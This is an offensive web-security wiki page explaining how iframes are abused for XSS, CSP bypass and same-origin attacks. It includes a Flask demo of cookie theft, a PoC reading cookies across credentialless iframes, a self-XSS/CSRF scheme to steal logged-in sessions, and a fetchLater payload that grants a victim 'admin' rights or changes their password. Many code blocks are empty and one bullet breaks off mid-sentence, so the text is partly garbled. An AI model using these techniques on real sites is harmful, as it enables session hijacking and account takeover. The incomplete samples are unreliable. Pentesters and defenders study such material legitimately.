# Iframes in XSS, CSP and SOP {{#include ../../banners/hacktricks-training.md}} ## Iframes in XSS There are 3 ways to indicate the content of an iframed page: - Via `src` indicating an URL (the URL may be cross origin or same origin) - Via `src` indicating the content using the `data:` protocol - Via `srcdoc` indicating the content **Accesing Parent & Child vars** ```html ``` ```html ``` If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\ Note how if4 is considered to have `null` origin. ### Iframes with CSP > [!TIP] > Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution. The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\ However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\ Therefore it’s possible to bypass the CSP of a page with: ```html ``` Note how the **previous CSP only permits the execution of the inline script**.\ However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**. ![](<../../images/image (372).png>) Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**. You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser: ```python import flask from flask import Flask app = Flask(__name__) @app.route("/") def index(): resp = flask.Response('') resp.headers['Content-Security-Policy'] = "script-src 'self'" resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET' return resp @app.route("/cookie_s.html") def cookie_s(): return "" if __name__ == "__main__": app.run() ``` #### New (2023-2025) CSP bypass techniques with iframes The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years: * **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – When an application reflects HTML but a strong CSP blocks script execution, you can still leak sensitive tokens by injecting a *dangling* ` ``` ### Iframe sandbox The content within an iframe can be subjected to additional restrictions through the use of the `sandbox` attribute. By default, this attribute is not applied, meaning no restrictions are in place. When utilized, the `sandbox` attribute imposes several limitations: - The content is treated as if it originates from a unique source. - Any attempt to submit forms is blocked. - Execution of scripts is prohibited. - Access to certain APIs is disabled. - It prevents links from interacting with other browsing contexts. - Use of plugins via ``, ``, ``, or similar tags is disallowed. - Navigation of the content's top-level browsing context by the content itself is prevented. - Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked. Tip: Modern browsers support granular flags such as `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, etc. Combine them to grant only the minimum capabilities required by the embedded application. The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions. ```html ``` ### Credentialless iframes As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe. Since **Chrome 110 (February 2023) the feature is enabled by default** and the spec is being standardized across browsers under the name *anonymous iframe*. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders: * Scripts in different credentialless iframes **still share the same top-level origin** and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below). * Because the network is **credential-stripped**, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope. * Pop-ups spawned from a credentialless iframe get an implicit `rel="noopener"`, breaking some OAuth flows. ```javascript // PoC: two same-origin credentialless iframes stealing cookies set by a third window.top[1].document.cookie = 'foo=bar'; // write alert(window.top[2].document.cookie); // read -> foo=bar ``` - Exploit example: Self-XSS + CSRF In this attack, the attacker prepares a malicious webpage with 2 iframes: - An iframe that loads the victim's page with the `credentialless` flag with a CSRF that triggers a XSS (Imagin a Self-XSS in the username of the user): ```html
``` - Another iframe that actually has the user logged in (without the `credentialless` flag). Then, from the XSS it's possible to access the other iframe as they have the same SOP and steal the cookie for example executing: ```javascript alert(window.top[1].document.cookie); ``` ### fetchLater Attack As indicated in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) The API `fetchLater` allows to configure a request to be executed later (after a certain time). Therefore, this can be abused to for example, login a victim inside an attackers session (with Self-XSS), set a `fetchLater` request (to change the password of the current user for example) and logout from the attackers session. Then, the victim logs in in his own session and the `fetchLater` request will be executed, changing the password of the victim to the one set by the attacker. This way even if the victim URL cannot be loaded in an iframe (due to CSP or other restrictions), the attacker can still execute a request in the victim's session. ```javascript var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"}) const minute = 60000 let arr = [minute, minute * 60, minute * 60 * 24, ...] for (let timeout of arr) fetchLater(req,{activateAfter: timeout}) ``` ## Iframes in SOP Check the following pages: {{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md {{#endref}} {{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md {{#endref}} {{#ref}} ../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md {{#endref}} {{#ref}} ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md {{#endref}} ## References * [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp) * [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless) {{#include ../../banners/hacktricks-training.md}}